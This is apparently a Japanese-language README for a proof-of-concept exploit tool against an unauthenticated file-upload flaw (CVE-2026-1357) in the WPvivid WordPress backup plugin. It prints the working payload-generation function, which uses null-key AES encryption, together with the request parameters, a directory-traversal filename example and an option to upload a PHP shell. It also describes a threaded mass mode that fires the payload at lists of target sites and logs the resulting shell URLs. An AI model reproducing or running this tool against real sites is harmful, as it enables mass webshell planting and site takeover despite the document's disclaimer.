🧨 CVE-2026-1357 – WPvivid Null-Key エクスプロイトツール (CVE-2026-1357.py)

移行、バックアップ、ステージング – WPvivid Backup & Migration ≤ 0.9.123
脆弱性: 認証なし任意ファイルアップロード → リモートコード実行
CVE: CVE-2026-1357 – CVSS 9.8（クリティカル）

GitHub: https://github.com/Nxploited
Telegram: @KNxploited

🧬 このスクリプトの機能

CVE-2026-1357.py は、WPvivid の脆弱性を利用する 概念実証（PoC）エクスプロイトツールです。このツールは、攻撃者による以下の操作を可能にする、欠陥のある AES セッション処理に焦点を当てています。

1. WPvivid が期待するのと同じ形式で、Null-Key AES/IV（すべてゼロバイト）を使ってペイロードを暗号化する。
2. 任意のファイル内容（例: PHP シェル）と選択したファイル名/パス（name）をペイロードに埋め込む。
3. このペイロードを wpvivid_action=send_to_site パラメータ経由で WPvivid エンドポイントに送信する。
4. （必要に応じて）ファイルが正常に書き込まれ、アクセス可能かどうかを検証する。

このスクリプトは、秘密鍵を直接推測したり悪用したりすることはありません。代わりに、openssl_private_decrypt() の失敗によって phpseclib の AES 暗号が Null-Key で初期化されるという、WPvivid の壊れた処理フローを再現します。

🧠 技術的な内部動作

🔐 AES Null-Key ペイロード

エクスプロイトの核心は gen_wpvivid_payload() にあります。

• 以下の JSON 構造を構築します。

  root@kitploit:~

  {
    "name": "<file_name>",
    "offset": 0,
    "data": "<base64(file_bytes)>",
    "file_size": <len(file_bytes)>,
    "md5": "<md5(file_bytes)>"
  }
  

• この JSON を（スペースなしのコンパクト形式で）シリアライズします。

• 次の設定で JSON を暗号化します。

  • AES-128-CBC
  • key = b"\x00" * 16
  • iv = b"\x00" * 16

• その後、以下を先頭に付加します。

  • 3 バイト: "000"（固定長フィールドのプレースホルダー）
  • 16 バイトの大文字 16 進数: 暗号文の長さを "{len(cipher):016X}" としてエンコードした値

• 最終的な暗号化ブロブは次のようになります。

  root@kitploit:~

  "000" + <16バイトの暗号文長16進数> + <raw AES-CBC暗号文>
  

• このブロブは Base64 エンコードされ、最終的な wpvivid_content 値として返されます。

関数:

def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

これは、RSA 復号失敗後に脆弱なコード経路で WPvivid が期待する復号仕様と一致します。

🧰 機能とモード

このスクリプトには 2つの主要モード に加え、一括テスト機能があります。

1. mood1 – ペイロード生成器

   • Null-Key の仕組みを使った有効な wpvivid_content 値を生成します。
   • ファイル内容を定義する複数の方法に対応しています。
   • ターゲットリストに対して 一括テスト（Mass Tester）を起動することもできます。

2. mood2 – 単一ターゲットテスト

   • 事前に生成したペイロードを使用します。
   • 単一の ターゲットをエンドツーエンドでテストします。
     • ペイロードを送信します。
     • 想定される結果ファイルの URL を構築します。
     • ファイルにアクセスできるかどうかを検証します。

3. マスモード（mood1 から起動）

   • 選択したペイロードをリストファイル内の 複数のターゲット に送信します。
   • 並行処理とプログレスバーを使用します。
   • 成功したアップロードを追跡・記録します。

🚦 スクリプトの実行

python3 CVE-2026-1357.py

Rich ベースの UI がバナーとモード選択とともに表示されます。

• mood1 – ペイロード生成器
• mood2 – 単一ターゲットテスト

🧪 モード: mood1 – ペイロード生成器

目的

• 以下の情報をエンコードしたエクスプロイトペイロード（wpvivid_content）を作成します。
  • WPvivid に書き込ませたい ファイルパス/名前
  • ファイル内容（シェル、テストファイルなど）

フロー

1. モード選択

   プロンプトが表示されたら:

   root@kitploit:~

   Choose mode (mood1/mood2) [mood1]:
   

   Enter キーを押すか（mood1 がデフォルト）、mood1 と入力します。

2. ターゲットのファイル名 / パス

   次のように求められます。

   root@kitploit:~

   Target file name (e.g., Nx_.php or ../../public/Nx_.php):
   

   例:

   • WPvivid バックアップディレクトリにファイルを配置する場合:

     root@kitploit:~

     Nx_.php
     

   • ディレクトリトラバーサルを悪用する場合（ターゲットが許可していれば）:

     root@kitploit:~

     ../../public_html/Nx_.php
     

   この値は JSON ペイロードの name フィールドに入ります。

3. 内容入力モード

   スクリプトはファイル内容を定義する3つの方法を表示します。

   • モード 1: 単一行の内容
   • モード 2: 複数行の内容（EOF で終了）
   • モード 3: ローカルファイルから読み込み（例: shell.php）

   次のように求められます。

オプション: mood1 からのマスモード

ペイロード生成後、スクリプトは次のように尋ねます。

Auto-send this payload to targets list (mass mode)? (y/N):

y と答えると、作成したペイロードとファイル名を使った マスモード が開始されます。

🌐 マスモード – 複数ターゲット

目的

• 単一のエクスプロイトペイロード を ターゲットリスト に対してテストします。

フロー

1. ターゲットファイル

   プロンプト例:

   root@kitploit:~

   Targets list file (one URL per line):
   

   ファイルの期待される形式（例: targets.txt）:

   root@kitploit:~

   https://site1.com
   site2.com
   http://site3.net
   

   スクリプトはベース URL を自動的に正規化します（スキームがない場合は追加します）。

2. スレッド数

   root@kitploit:~

   Threads (concurrent sites) [5]:
   

   並列処理するサイト数を制御します。

3. ターゲットごとのロジック

   各ターゲットについて:

   • URL を正規化 → base_url

   • 呼び出し:

     root@kitploit:~

     send_wpvivid_payload(base_url, payload)
     

     この関数は:

     • wpvivid_action=send_to_site + wpvivid_content=<payload> の POST を構築します。
     • 調整済みコネクションプール設定の新しいセッションで送信します。
     • レスポンスに {"result":"success"}（コンパクト形式）が含まれるかどうかを確認します。

   • アップロードが成功したと判断された場合:

     • shell_url を次のように構築します。

🧪 モード: mood2 – 単一ターゲットテスト

目的

• 既存のペイロード（wpvivid_payload.txt または外部ソースから）を 単一の URL に対して使用し、結果のファイルを検証します。

フロー

1. ターゲット URL

   プロンプト:

   root@kitploit:~

   Target base URL (e.g., https://site.com):
   

   例:

   root@kitploit:~

   https://victim.com
   

   スクリプトはこれを次のようなベースに正規化します。

   root@kitploit:~

   https://victim.com
   

2. ファイル名

   プロンプト:

   root@kitploit:~

   Expected file name (e.g., Nx_.php):
   

   これは、WPvivid が書き込むと 予想される 名前/パスです（ペイロードの name フィールドにエンコードしたものと一致させます）。

3. ペイロード入力

   プロンプト:

   root@kitploit:~

   Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
   

   • wpvivid_content=... で始まる行全体を貼り付けた場合、プレフィックスを除去します。
   • Base64 のみを貼り付けた場合、そのまま使用します。

4. 実行

   スクリプトは:

   • wpvivid_action=send_to_site + 入力した wpvivid_content で POST を送信します。

   • レスポンスが成功を示している場合、次のように構築します。

このモードは、ペイロードを細かく制御しながら 単一サイトの手動/ラボテスト を行うのに最適です。

📁 出力ファイル

• wpvivid_payload.txt

  • mood1 で書き込まれます。
  • 以下を保存します。
    • file_name=<選択したファイル名>
    • wpvivid_content=<ペイロード>

• Nx_.txt

  • mood1（マスモード）と mood2 で書き込まれます。
  • アップロードが成功したと見られる 成功したファイルの URL を1行に1つ 含みます（検証済みの場合もあります）。

⚠️ 免責事項

このツールは、以下の目的のみ を意図しています。

• 管理された環境でのセキュリティ研究。
• 自分が所有している、または 明示的な書面による許可を得ている システムのテスト。
• CVE-2026-1357 に対する是正策と検知策の検証。

このスクリプトを使用することで、以下に同意したものとみなされます。

• 適用されるすべての法律を遵守する責任があること。
• 適切な許可なしにシステムで使用しないこと。
• 作者（Nxploited）は、このツールの使用から生じる誤用、損害、法的問題、またはインシデントについて 一切の責任を負わない こと。

自己責任で、そして 正当なセキュリティテストのためだけに 使用してください。

✍️ 作者と連絡先

• 作成者: Nxploited（Khaled Alenazi）
• GitHub: https://github.com/Nxploited
• Telegram: @KNxploited

アップデート、ツール、セキュリティ研究コンテンツについては、Telegram チャンネルをフォローしてください。
👉 @KNxploited